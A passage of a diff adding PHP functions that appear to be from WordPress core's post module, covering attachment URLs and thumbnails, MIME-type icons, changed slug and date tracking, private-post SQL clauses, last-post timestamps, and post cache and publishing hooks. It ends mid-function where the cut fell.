+	if ( empty($url) ) {
+		$url = get_the_guid( $post->ID );
+	}
+
+	// On SSL front end, URLs should be HTTPS.
+	if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $GLOBALS['pagenow'] ) {
+		$url = set_url_scheme( $url );
+	}
+
+	/**
+	 * Filters the attachment URL.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $url           URL for the given attachment.
+	 * @param int    $attachment_id Attachment post ID.
+	 */
+	$url = apply_filters( 'wp_get_attachment_url', $url, $post->ID );
+
+	if ( empty( $url ) )
+		return false;
+
+	return $url;
+}
+
+/**
+ * Retrieves the caption for an attachment.
+ *
+ * @since 4.6.0
+ *
+ * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`.
+ * @return string|false False on failure. Attachment caption on success.
+ */
+function wp_get_attachment_caption( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( ! $post = get_post( $post_id ) ) {
+		return false;
+	}
+
+	if ( 'attachment' !== $post->post_type ) {
+		return false;
+	}
+
+	$caption = $post->post_excerpt;
+
+	/**
+	 * Filters the attachment caption.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $caption Caption for the given attachment.
+	 * @param int    $post_id Attachment ID.
+	 */
+	return apply_filters( 'wp_get_attachment_caption', $caption, $post->ID );
+}
+
+/**
+ * Retrieve thumbnail for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Optional. Attachment ID. Default 0.
+ * @return string|false False on failure. Thumbnail file path on success.
+ */
+function wp_get_attachment_thumb_file( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+	if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
+		return false;
+
+	$file = get_attached_file( $post->ID );
+
+	if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
+		/**
+		 * Filters the attachment thumbnail file path.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $thumbfile File path to the attachment thumbnail.
+		 * @param int    $post_id   Attachment ID.
+		 */
+		return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
+	}
+	return false;
+}
+
+/**
+ * Retrieve URL for an attachment thumbnail.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Optional. Attachment ID. Default 0.
+ * @return string|false False on failure. Thumbnail URL on success.
+ */
+function wp_get_attachment_thumb_url( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+	if ( !$url = wp_get_attachment_url( $post->ID ) )
+		return false;
+
+	$sized = image_downsize( $post_id, 'thumbnail' );
+	if ( $sized )
+		return $sized[0];
+
+	if ( !$thumb = wp_get_attachment_thumb_file( $post->ID ) )
+		return false;
+
+	$url = str_replace(basename($url), basename($thumb), $url);
+
+	/**
+	 * Filters the attachment thumbnail URL.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $url     URL for the attachment thumbnail.
+	 * @param int    $post_id Attachment ID.
+	 */
+	return apply_filters( 'wp_get_attachment_thumb_url', $url, $post->ID );
+}
+
+/**
+ * Verifies an attachment is of a given type.
+ *
+ * @since 4.2.0
+ *
+ * @param string      $type Attachment type. Accepts 'image', 'audio', or 'video'.
+ * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post.
+ * @return bool True if one of the accepted types, false otherwise.
+ */
+function wp_attachment_is( $type, $post = null ) {
+	if ( ! $post = get_post( $post ) ) {
+		return false;
+	}
+
+	if ( ! $file = get_attached_file( $post->ID ) ) {
+		return false;
+	}
+
+	if ( 0 === strpos( $post->post_mime_type, $type . '/' ) ) {
+		return true;
+	}
+
+	$check = wp_check_filetype( $file );
+	if ( empty( $check['ext'] ) ) {
+		return false;
+	}
+
+	$ext = $check['ext'];
+
+	if ( 'import' !== $post->post_mime_type ) {
+		return $type === $ext;
+	}
+
+	switch ( $type ) {
+	case 'image':
+		$image_exts = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png' );
+		return in_array( $ext, $image_exts );
+
+	case 'audio':
+		return in_array( $ext, wp_get_audio_extensions() );
+
+	case 'video':
+		return in_array( $ext, wp_get_video_extensions() );
+
+	default:
+		return $type === $ext;
+	}
+}
+
+/**
+ * Determines whether an attachment is an image.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.1.0
+ * @since 4.2.0 Modified into wrapper for wp_attachment_is() and
+ *              allowed WP_Post object to be passed.
+ *
+ * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post.
+ * @return bool Whether the attachment is an image.
+ */
+function wp_attachment_is_image( $post = null ) {
+	return wp_attachment_is( 'image', $post );
+}
+
+/**
+ * Retrieve the icon for a MIME type.
+ *
+ * @since 2.1.0
+ *
+ * @param string|int $mime MIME type or attachment ID.
+ * @return string|false Icon, false otherwise.
+ */
+function wp_mime_type_icon( $mime = 0 ) {
+	if ( !is_numeric($mime) )
+		$icon = wp_cache_get("mime_type_icon_$mime");
+
+	$post_id = 0;
+	if ( empty($icon) ) {
+		$post_mimes = array();
+		if ( is_numeric($mime) ) {
+			$mime = (int) $mime;
+			if ( $post = get_post( $mime ) ) {
+				$post_id = (int) $post->ID;
+				$file = get_attached_file( $post_id );
+				$ext = preg_replace('/^.+?\.([^.]+)$/', '$1', $file);
+				if ( !empty($ext) ) {
+					$post_mimes[] = $ext;
+					if ( $ext_type = wp_ext2type( $ext ) )
+						$post_mimes[] = $ext_type;
+				}
+				$mime = $post->post_mime_type;
+			} else {
+				$mime = 0;
+			}
+		} else {
+			$post_mimes[] = $mime;
+		}
+
+		$icon_files = wp_cache_get('icon_files');
+
+		if ( !is_array($icon_files) ) {
+			/**
+			 * Filters the icon directory path.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param string $path Icon directory absolute path.
+			 */
+			$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );
+
+			/**
+			 * Filters the icon directory URI.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param string $uri Icon directory URI.
+			 */
+			$icon_dir_uri = apply_filters( 'icon_dir_uri', includes_url( 'images/media' ) );
+
+			/**
+			 * Filters the list of icon directory URIs.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param array $uris List of icon directory URIs.
+			 */
+			$dirs = apply_filters( 'icon_dirs', array( $icon_dir => $icon_dir_uri ) );
+			$icon_files = array();
+			while ( $dirs ) {
+				$keys = array_keys( $dirs );
+				$dir = array_shift( $keys );
+				$uri = array_shift($dirs);
+				if ( $dh = opendir($dir) ) {
+					while ( false !== $file = readdir($dh) ) {
+						$file = basename($file);
+						if ( substr($file, 0, 1) == '.' )
+							continue;
+						if ( !in_array(strtolower(substr($file, -4)), array('.png', '.gif', '.jpg') ) ) {
+							if ( is_dir("$dir/$file") )
+								$dirs["$dir/$file"] = "$uri/$file";
+							continue;
+						}
+						$icon_files["$dir/$file"] = "$uri/$file";
+					}
+					closedir($dh);
+				}
+			}
+			wp_cache_add( 'icon_files', $icon_files, 'default', 600 );
+		}
+
+		$types = array();
+		// Icon basename - extension = MIME wildcard.
+		foreach ( $icon_files as $file => $uri )
+			$types[ preg_replace('/^([^.]*).*$/', '$1', basename($file)) ] =& $icon_files[$file];
+
+		if ( ! empty($mime) ) {
+			$post_mimes[] = substr($mime, 0, strpos($mime, '/'));
+			$post_mimes[] = substr($mime, strpos($mime, '/') + 1);
+			$post_mimes[] = str_replace('/', '_', $mime);
+		}
+
+		$matches = wp_match_mime_types(array_keys($types), $post_mimes);
+		$matches['default'] = array('default');
+
+		foreach ( $matches as $match => $wilds ) {
+			foreach ( $wilds as $wild ) {
+				if ( ! isset( $types[ $wild ] ) ) {
+					continue;
+				}
+
+				$icon = $types[ $wild ];
+				if ( ! is_numeric( $mime ) ) {
+					wp_cache_add( "mime_type_icon_$mime", $icon );
+				}
+				break 2;
+			}
+		}
+	}
+
+	/**
+	 * Filters the mime type icon.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $icon    Path to the mime type icon.
+	 * @param string $mime    Mime type.
+	 * @param int    $post_id Attachment ID. Will equal 0 if the function passed
+	 *                        the mime type.
+	 */
+	return apply_filters( 'wp_mime_type_icon', $icon, $mime, $post_id );
+}
+
+/**
+ * Check for changed slugs for published post objects and save the old slug.
+ *
+ * The function is used when a post object of any type is updated,
+ * by comparing the current and previous post objects.
+ *
+ * If the slug was changed and not already part of the old slugs then it will be
+ * added to the post meta field ('_wp_old_slug') for storing old slugs for that
+ * post.
+ *
+ * The most logically usage of this function is redirecting changed post objects, so
+ * that those that linked to an changed post will be redirected to the new post.
+ *
+ * @since 2.1.0
+ *
+ * @param int     $post_id     Post ID.
+ * @param WP_Post $post        The Post Object
+ * @param WP_Post $post_before The Previous Post Object
+ */
+function wp_check_for_changed_slugs( $post_id, $post, $post_before ) {
+	// Don't bother if it hasn't changed.
+	if ( $post->post_name == $post_before->post_name ) {
+		return;
+	}
+
+	// We're only concerned with published, non-hierarchical objects.
+	if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) {
+		return;
+	}
+
+	$old_slugs = (array) get_post_meta( $post_id, '_wp_old_slug' );
+
+	// If we haven't added this old slug before, add it now.
+	if ( ! empty( $post_before->post_name ) && ! in_array( $post_before->post_name, $old_slugs ) ) {
+		add_post_meta( $post_id, '_wp_old_slug', $post_before->post_name );
+	}
+
+	// If the new slug was used previously, delete it from the list.
+	if ( in_array( $post->post_name, $old_slugs ) ) {
+		delete_post_meta( $post_id, '_wp_old_slug', $post->post_name );
+	}
+}
+
+/**
+ * Check for changed dates for published post objects and save the old date.
+ *
+ * The function is used when a post object of any type is updated,
+ * by comparing the current and previous post objects.
+ *
+ * If the date was changed and not already part of the old dates then it will be
+ * added to the post meta field ('_wp_old_date') for storing old dates for that
+ * post.
+ *
+ * The most logically usage of this function is redirecting changed post objects, so
+ * that those that linked to an changed post will be redirected to the new post.
+ *
+ * @since 4.9.3
+ *
+ * @param int     $post_id     Post ID.
+ * @param WP_Post $post        The Post Object
+ * @param WP_Post $post_before The Previous Post Object
+ */
+function wp_check_for_changed_dates( $post_id, $post, $post_before ) {
+	$previous_date = date( 'Y-m-d', strtotime( $post_before->post_date ) );
+	$new_date = date( 'Y-m-d', strtotime( $post->post_date ) );
+	// Don't bother if it hasn't changed.
+	if ( $new_date == $previous_date ) {
+		return;
+	}
+	// We're only concerned with published, non-hierarchical objects.
+	if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) {
+		return;
+	}
+	$old_dates = (array) get_post_meta( $post_id, '_wp_old_date' );
+	// If we haven't added this old date before, add it now.
+	if ( ! empty( $previous_date ) && ! in_array( $previous_date, $old_dates ) ) {
+		add_post_meta( $post_id, '_wp_old_date', $previous_date );
+	}
+	// If the new slug was used previously, delete it from the list.
+	if ( in_array( $new_date, $old_dates ) ) {
+		delete_post_meta( $post_id, '_wp_old_date', $new_date );
+	}
+}
+
+/**
+ * Retrieve the private post SQL based on capability.
+ *
+ * This function provides a standardized way to appropriately select on the
+ * post_status of a post type. The function will return a piece of SQL code
+ * that can be added to a WHERE clause; this SQL is constructed to allow all
+ * published posts, and all private posts to which the user has access.
+ *
+ * @since 2.2.0
+ * @since 4.3.0 Added the ability to pass an array to `$post_type`.
+ *
+ * @param string|array $post_type Single post type or an array of post types. Currently only supports 'post' or 'page'.
+ * @return string SQL code that can be added to a where clause.
+ */
+function get_private_posts_cap_sql( $post_type ) {
+	return get_posts_by_author_sql( $post_type, false );
+}
+
+/**
+ * Retrieve the post SQL based on capability, author, and type.
+ *
+ * @since 3.0.0
+ * @since 4.3.0 Introduced the ability to pass an array of post types to `$post_type`.
+ *
+ * @see get_private_posts_cap_sql()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array|string   $post_type   Single post type or an array of post types.
+ * @param bool           $full        Optional. Returns a full WHERE statement instead of just
+ *                                    an 'andalso' term. Default true.
+ * @param int            $post_author Optional. Query posts having a single author ID. Default null.
+ * @param bool           $public_only Optional. Only return public posts. Skips cap checks for
+ *                                    $current_user.  Default false.
+ * @return string SQL WHERE code that can be added to a query.
+ */
+function get_posts_by_author_sql( $post_type, $full = true, $post_author = null, $public_only = false ) {
+	global $wpdb;
+
+	if ( is_array( $post_type ) ) {
+		$post_types = $post_type;
+	} else {
+		$post_types = array( $post_type );
+	}
+
+	$post_type_clauses = array();
+	foreach ( $post_types as $post_type ) {
+		$post_type_obj = get_post_type_object( $post_type );
+		if ( ! $post_type_obj ) {
+			continue;
+		}
+
+		/**
+		 * Filters the capability to read private posts for a custom post type
+		 * when generating SQL for getting posts by author.
+		 *
+		 * @since 2.2.0
+		 * @deprecated 3.2.0 The hook transitioned from "somewhat useless" to "totally useless".
+		 *
+		 * @param string $cap Capability.
+		 */
+		if ( ! $cap = apply_filters( 'pub_priv_sql_capability', '' ) ) {
+			$cap = current_user_can( $post_type_obj->cap->read_private_posts );
+		}
+
+		// Only need to check the cap if $public_only is false.
+		$post_status_sql = "post_status = 'publish'";
+		if ( false === $public_only ) {
+			if ( $cap ) {
+				// Does the user have the capability to view private posts? Guess so.
+				$post_status_sql .= " OR post_status = 'private'";
+			} elseif ( is_user_logged_in() ) {
+				// Users can view their own private posts.
+				$id = get_current_user_id();
+				if ( null === $post_author || ! $full ) {
+					$post_status_sql .= " OR post_status = 'private' AND post_author = $id";
+				} elseif ( $id == (int) $post_author ) {
+					$post_status_sql .= " OR post_status = 'private'";
+				} // else none
+			} // else none
+		}
+
+		$post_type_clauses[] = "( post_type = '" . $post_type . "' AND ( $post_status_sql ) )";
+	}
+
+	if ( empty( $post_type_clauses ) ) {
+		return $full ? 'WHERE 1 = 0' : '1 = 0';
+	}
+
+	$sql = '( '. implode( ' OR ', $post_type_clauses ) . ' )';
+
+	if ( null !== $post_author ) {
+		$sql .= $wpdb->prepare( ' AND post_author = %d', $post_author );
+	}
+
+	if ( $full ) {
+		$sql = 'WHERE ' . $sql;
+	}
+
+	return $sql;
+}
+
+/**
+ * Retrieve the date that the last post was published.
+ *
+ * The server timezone is the default and is the difference between GMT and
+ * server time. The 'blog' value is the date when the last post was posted. The
+ * 'gmt' is when the last post was posted in GMT formatted date.
+ *
+ * @since 0.71
+ * @since 4.4.0 The `$post_type` argument was added.
+ *
+ * @param string $timezone  Optional. The timezone for the timestamp. Accepts 'server', 'blog', or 'gmt'.
+ *                          'server' uses the server's internal timezone.
+ *                          'blog' uses the `post_modified` field, which proxies to the timezone set for the site.
+ *                          'gmt' uses the `post_modified_gmt` field.
+ *                          Default 'server'.
+ * @param string $post_type Optional. The post type to check. Default 'any'.
+ * @return string The date of the last post.
+ */
+function get_lastpostdate( $timezone = 'server', $post_type = 'any' ) {
+	/**
+	 * Filters the date the last post was published.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $date     Date the last post was published.
+	 * @param string $timezone Location to use for getting the post published date.
+	 *                         See get_lastpostdate() for accepted `$timezone` values.
+	 */
+	return apply_filters( 'get_lastpostdate', _get_last_post_time( $timezone, 'date', $post_type ), $timezone );
+}
+
+/**
+ * Get the timestamp of the last time any post was modified.
+ *
+ * The server timezone is the default and is the difference between GMT and
+ * server time. The 'blog' value is just when the last post was modified. The
+ * 'gmt' is when the last post was modified in GMT time.
+ *
+ * @since 1.2.0
+ * @since 4.4.0 The `$post_type` argument was added.
+ *
+ * @param string $timezone  Optional. The timezone for the timestamp. See get_lastpostdate()
+ *                          for information on accepted values.
+ *                          Default 'server'.
+ * @param string $post_type Optional. The post type to check. Default 'any'.
+ * @return string The timestamp.
+ */
+function get_lastpostmodified( $timezone = 'server', $post_type = 'any' ) {
+	/**
+	 * Pre-filter the return value of get_lastpostmodified() before the query is run.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $lastpostmodified Date the last post was modified.
+	 *                                 Returning anything other than false will short-circuit the function.
+	 * @param string $timezone         Location to use for getting the post modified date.
+	 *                                 See get_lastpostdate() for accepted `$timezone` values.
+	 * @param string $post_type        The post type to check.
+	 */
+	$lastpostmodified = apply_filters( 'pre_get_lastpostmodified', false, $timezone, $post_type );
+	if ( false !== $lastpostmodified ) {
+		return $lastpostmodified;
+	}
+
+	$lastpostmodified = _get_last_post_time( $timezone, 'modified', $post_type );
+
+	$lastpostdate = get_lastpostdate($timezone);
+	if ( $lastpostdate > $lastpostmodified ) {
+		$lastpostmodified = $lastpostdate;
+	}
+
+	/**
+	 * Filters the date the last post was modified.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $lastpostmodified Date the last post was modified.
+	 * @param string $timezone         Location to use for getting the post modified date.
+	 *                                 See get_lastpostdate() for accepted `$timezone` values.
+	 */
+	return apply_filters( 'get_lastpostmodified', $lastpostmodified, $timezone );
+}
+
+/**
+ * Get the timestamp of the last time any post was modified or published.
+ *
+ * @since 3.1.0
+ * @since 4.4.0 The `$post_type` argument was added.
+ * @access private
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $timezone  The timezone for the timestamp. See get_lastpostdate().
+ *                          for information on accepted values.
+ * @param string $field     Post field to check. Accepts 'date' or 'modified'.
+ * @param string $post_type Optional. The post type to check. Default 'any'.
+ * @return string|false The timestamp.
+ */
+function _get_last_post_time( $timezone, $field, $post_type = 'any' ) {
+	global $wpdb;
+
+	if ( ! in_array( $field, array( 'date', 'modified' ) ) ) {
+		return false;
+	}
+
+	$timezone = strtolower( $timezone );
+
+	$key = "lastpost{$field}:$timezone";
+	if ( 'any' !== $post_type ) {
+		$key .= ':' . sanitize_key( $post_type );
+	}
+
+	$date = wp_cache_get( $key, 'timeinfo' );
+	if ( false !== $date ) {
+		return $date;
+	}
+
+	if ( 'any' === $post_type ) {
+		$post_types = get_post_types( array( 'public' => true ) );
+		array_walk( $post_types, array( $wpdb, 'escape_by_ref' ) );
+		$post_types = "'" . implode( "', '", $post_types ) . "'";
+	} else {
+		$post_types = "'" . sanitize_key( $post_type ) . "'";
+	}
+
+	switch ( $timezone ) {
+		case 'gmt':
+			$date = $wpdb->get_var("SELECT post_{$field}_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
+			break;
+		case 'blog':
+			$date = $wpdb->get_var("SELECT post_{$field} FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
+			break;
+		case 'server':
+			$add_seconds_server = date( 'Z' );
+			$date = $wpdb->get_var("SELECT DATE_ADD(post_{$field}_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1");
+			break;
+	}
+
+	if ( $date ) {
+		wp_cache_set( $key, $date, 'timeinfo' );
+
+		return $date;
+	}
+
+	return false;
+}
+
+/**
+ * Updates posts in cache.
+ *
+ * @since 1.5.1
+ *
+ * @param array $posts Array of post objects (passed by reference).
+ */
+function update_post_cache( &$posts ) {
+	if ( ! $posts )
+		return;
+
+	foreach ( $posts as $post )
+		wp_cache_add( $post->ID, $post, 'posts' );
+}
+
+/**
+ * Will clean the post in the cache.
+ *
+ * Cleaning means delete from the cache of the post. Will call to clean the term
+ * object cache associated with the post ID.
+ *
+ * This function not run if $_wp_suspend_cache_invalidation is not empty. See
+ * wp_suspend_cache_invalidation().
+ *
+ * @since 2.0.0
+ *
+ * @global bool $_wp_suspend_cache_invalidation
+ *
+ * @param int|WP_Post $post Post ID or post object to remove from the cache.
+ */
+function clean_post_cache( $post ) {
+	global $_wp_suspend_cache_invalidation;
+
+	if ( ! empty( $_wp_suspend_cache_invalidation ) )
+		return;
+
+	$post = get_post( $post );
+	if ( empty( $post ) )
+		return;
+
+	wp_cache_delete( $post->ID, 'posts' );
+	wp_cache_delete( $post->ID, 'post_meta' );
+
+	clean_object_term_cache( $post->ID, $post->post_type );
+
+	wp_cache_delete( 'wp_get_archives', 'general' );
+
+	/**
+	 * Fires immediately after the given post's cache is cleaned.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int     $post_id Post ID.
+	 * @param WP_Post $post    Post object.
+	 */
+	do_action( 'clean_post_cache', $post->ID, $post );
+
+	if ( 'page' == $post->post_type ) {
+		wp_cache_delete( 'all_page_ids', 'posts' );
+
+		/**
+		 * Fires immediately after the given page's cache is cleaned.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param int $post_id Post ID.
+		 */
+		do_action( 'clean_page_cache', $post->ID );
+	}
+
+	wp_cache_set( 'last_changed', microtime(), 'posts' );
+}
+
+/**
+ * Call major cache updating functions for list of Post objects.
+ *
+ * @since 1.5.0
+ *
+ * @param array  $posts             Array of Post objects
+ * @param string $post_type         Optional. Post type. Default 'post'.
+ * @param bool   $update_term_cache Optional. Whether to update the term cache. Default true.
+ * @param bool   $update_meta_cache Optional. Whether to update the meta cache. Default true.
+ */
+function update_post_caches( &$posts, $post_type = 'post', $update_term_cache = true, $update_meta_cache = true ) {
+	// No point in doing all this work if we didn't match any posts.
+	if ( !$posts )
+		return;
+
+	update_post_cache($posts);
+
+	$post_ids = array();
+	foreach ( $posts as $post )
+		$post_ids[] = $post->ID;
+
+	if ( ! $post_type )
+		$post_type = 'any';
+
+	if ( $update_term_cache ) {
+		if ( is_array($post_type) ) {
+			$ptypes = $post_type;
+		} elseif ( 'any' == $post_type ) {
+			$ptypes = array();
+			// Just use the post_types in the supplied posts.
+			foreach ( $posts as $post ) {
+				$ptypes[] = $post->post_type;
+			}
+			$ptypes = array_unique($ptypes);
+		} else {
+			$ptypes = array($post_type);
+		}
+
+		if ( ! empty($ptypes) )
+			update_object_term_cache($post_ids, $ptypes);
+	}
+
+	if ( $update_meta_cache )
+		update_postmeta_cache($post_ids);
+}
+
+/**
+ * Updates metadata cache for list of post IDs.
+ *
+ * Performs SQL query to retrieve the metadata for the post IDs and updates the
+ * metadata cache for the posts. Therefore, the functions, which call this
+ * function, do not need to perform SQL queries on their own.
+ *
+ * @since 2.1.0
+ *
+ * @param array $post_ids List of post IDs.
+ * @return array|false Returns false if there is nothing to update or an array
+ *                     of metadata.
+ */
+function update_postmeta_cache( $post_ids ) {
+	return update_meta_cache('post', $post_ids);
+}
+
+/**
+ * Will clean the attachment in the cache.
+ *
+ * Cleaning means delete from the cache. Optionally will clean the term
+ * object cache associated with the attachment ID.
+ *
+ * This function will not run if $_wp_suspend_cache_invalidation is not empty.
+ *
+ * @since 3.0.0
+ *
+ * @global bool $_wp_suspend_cache_invalidation
+ *
+ * @param int  $id          The attachment ID in the cache to clean.
+ * @param bool $clean_terms Optional. Whether to clean terms cache. Default false.
+ */
+function clean_attachment_cache( $id, $clean_terms = false ) {
+	global $_wp_suspend_cache_invalidation;
+
+	if ( !empty($_wp_suspend_cache_invalidation) )
+		return;
+
+	$id = (int) $id;
+
+	wp_cache_delete($id, 'posts');
+	wp_cache_delete($id, 'post_meta');
+
+	if ( $clean_terms )
+		clean_object_term_cache($id, 'attachment');
+
+	/**
+	 * Fires after the given attachment's cache is cleaned.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $id Attachment ID.
+	 */
+	do_action( 'clean_attachment_cache', $id );
+}
+
+//
+// Hooks
+//
+
+/**
+ * Hook for managing future post transitions to published.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @see wp_clear_scheduled_hook()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string  $new_status New post status.
+ * @param string  $old_status Previous post status.
+ * @param WP_Post $post       Post object.
+ */
+function _transition_post_status( $new_status, $old_status, $post ) {
+	global $wpdb;
+
+	if ( $old_status != 'publish' && $new_status == 'publish' ) {
+		// Reset GUID if transitioning to publish and it is empty.
+		if ( '' == get_the_guid($post->ID) )
+			$wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post->ID ) ), array( 'ID' => $post->ID ) );
+
+		/**
+		 * Fires when a post's status is transitioned from private to published.
+		 *
+		 * @since 1.5.0
+		 * @deprecated 2.3.0 Use 'private_to_publish' instead.
+		 *
+		 * @param int $post_id Post ID.
+		 */
+		do_action('private_to_published', $post->ID);
+	}
+
+	// If published posts changed clear the lastpostmodified cache.
+	if ( 'publish' == $new_status || 'publish' == $old_status) {
+		foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
+			wp_cache_delete( "lastpostmodified:$timezone", 'timeinfo' );
+			wp_cache_delete( "lastpostdate:$timezone", 'timeinfo' );
+			wp_cache_delete( "lastpostdate:$timezone:{$post->post_type}", 'timeinfo' );
+		}
+	}
+
+	if ( $new_status !== $old_status ) {
+		wp_cache_delete( _count_posts_cache_key( $post->post_type ), 'counts' );
+		wp_cache_delete( _count_posts_cache_key( $post->post_type, 'readable' ), 'counts' );
+	}
+
+	// Always clears the hook in case the post status bounced from future to draft.
+	wp_clear_scheduled_hook('publish_future_post', array( $post->ID ) );
+}
+
+/**
+ * Hook used to schedule publication for a post marked for the future.
+ *
+ * The $post properties used and must exist are 'ID' and 'post_date_gmt'.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param int     $deprecated Not used. Can be set to null. Never implemented. Not marked
+ *                            as deprecated with _deprecated_argument() as it conflicts with
+ *                            wp_transition_post_status() and the default filter for _future_post_hook().
+ * @param WP_Post $post       Post object.
+ */
+function _future_post_hook( $deprecated, $post ) {
+	wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) );
+	wp_schedule_single_event( strtotime( get_gmt_from_date( $post->post_date ) . ' GMT') , 'publish_future_post', array( $post->ID ) );
+}
+
+/**
+ * Hook to schedule pings and enclosures when a post is published.
+ *
+ * Uses XMLRPC_REQUEST and WP_IMPORTING constants.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param int $post_id The ID in the database table of the post being published.
+ */
+function _publish_post_hook( $post_id ) {
+	if ( defined( 'XMLRPC_REQUEST' ) ) {
+		/**
+		 * Fires when _publish_post_hook() is called during an XML-RPC request.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param int $post_id Post ID.
+		 */
+		do_action( 'xmlrpc_publish_post', $post_id );
+	}
+
+	if ( defined('WP_IMPORTING') )
+		return;
+
+	if ( get_option('default_pingback_flag') )
+		add_post_meta( $post_id, '_pingme', '1' );
+	add_post_meta( $post_id, '_encloseme', '1' );
+
+	if ( ! wp_next_scheduled( 'do_pings' ) ) {
+		wp_schedule_single_event( time(), 'do_pings' );
+	}
+}
+
+/**
+ * Return the post's parent's post_ID
+ *
+ * @since 3.1.0
+ *
+ * @param int $post_ID
+ *
+ * @return int|false Post parent ID, otherwise false.
+ */
+function wp_get_post_parent_id( $post_ID ) {
+	$post = get_post( $post_ID );
+	if ( !$post || is_wp_error( $post ) )
+		return false;
+	return (int) $post->post_parent;
+}
+
+/**
+ * Check the given subset of the post hierarchy for hierarchy loops.
+ *
+ * Prevents loops from forming and breaks those that it finds. Attached
+ * to the {@see 'wp_insert_post_parent'} filter.
+ *
+ * @since 3.1.0
+ *
+ * @see wp_find_hierarchy_loop()
+ *
+ * @param int $post_parent ID of the parent for the post we're checking.
+ * @param int $post_ID     ID of the post we're checking.
+ * @return int The new post_parent for the post, 0 otherwise.
+ */
+function wp_check_post_hierarchy_for_loops( $post_parent, $post_ID ) {
+	// Nothing fancy here - bail.
+	if ( !$post_parent )
+		return 0;
+
+	// New post can't cause a loop.
+	if ( empty( $post_ID ) )
+		return $post_parent;
+
+	// Can't be its own parent.
+	if ( $post_parent == $post_ID )
+		return 0;
+
+	// Now look for larger loops.
+	if ( !$loop = wp_find_hierarchy_loop( 'wp_get_post_parent_id', $post_ID, $post_parent ) )
+		return $post_parent; // No loop
+
+	// Setting $post_parent to the given value causes a loop.
+	if ( isset( $loop[$post_ID] ) )
+		return 0;
+
+	// There's a loop, but it doesn't contain $post_ID. Break the loop.
+	foreach ( array_keys( $loop ) as $loop_member )
+		wp_update_post( array( 'ID' => $loop_member, 'post_parent' => 0 ) );
+
+	return $post_parent;
+}
+
+/**
+ * Set a post thumbnail.
+ *
+ * @since 3.1.0
+ *
+ * @param int|WP_Post $post         Post ID or post object where thumbnail should be attached.
+ * @param int         $thumbnail_id Thumbnail to attach.
+ * @return int|bool True on success, false on failure.
+ */
+function set_post_thumbnail( $post, $thumbnail_id ) {
+	$post = get_post( $post );
+	$thumbnail_id = absint( $thumbnail_id );
+	if ( $post && $thumbnail_id && get_post( $thumbnail_id ) ) {
+		if ( wp_get_attachment_image( $thumbnail_id, 'thumbnail' ) )
+			return update_post_meta( $post->ID, '_thumbnail_id', $thumbnail_id );
+		else
+			return delete_post_meta( $post->ID, '_thumbnail_id' );
+	}
+	return false;
+}
+
+/**
+ * Remove a post thumbnail.
+ *
+ * @since 3.3.0
+ *
+ * @param int|WP_Post $post Post ID or post object where thumbnail should be removed from.
+ * @return bool True on success, false on failure.
+ */
+function delete_post_thumbnail( $post ) {
+	$post = get_post( $post );
+	if ( $post )
+		return delete_post_meta( $post->ID, '_thumbnail_id' );
+	return false;
+}
+
+/**
+ * Delete auto-drafts for new posts that are > 7 days old.
+ *
+ * @since 3.4.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function wp_delete_auto_drafts() {
+	global $wpdb;
+
+	// Cleanup old auto-drafts more than 7 days old.
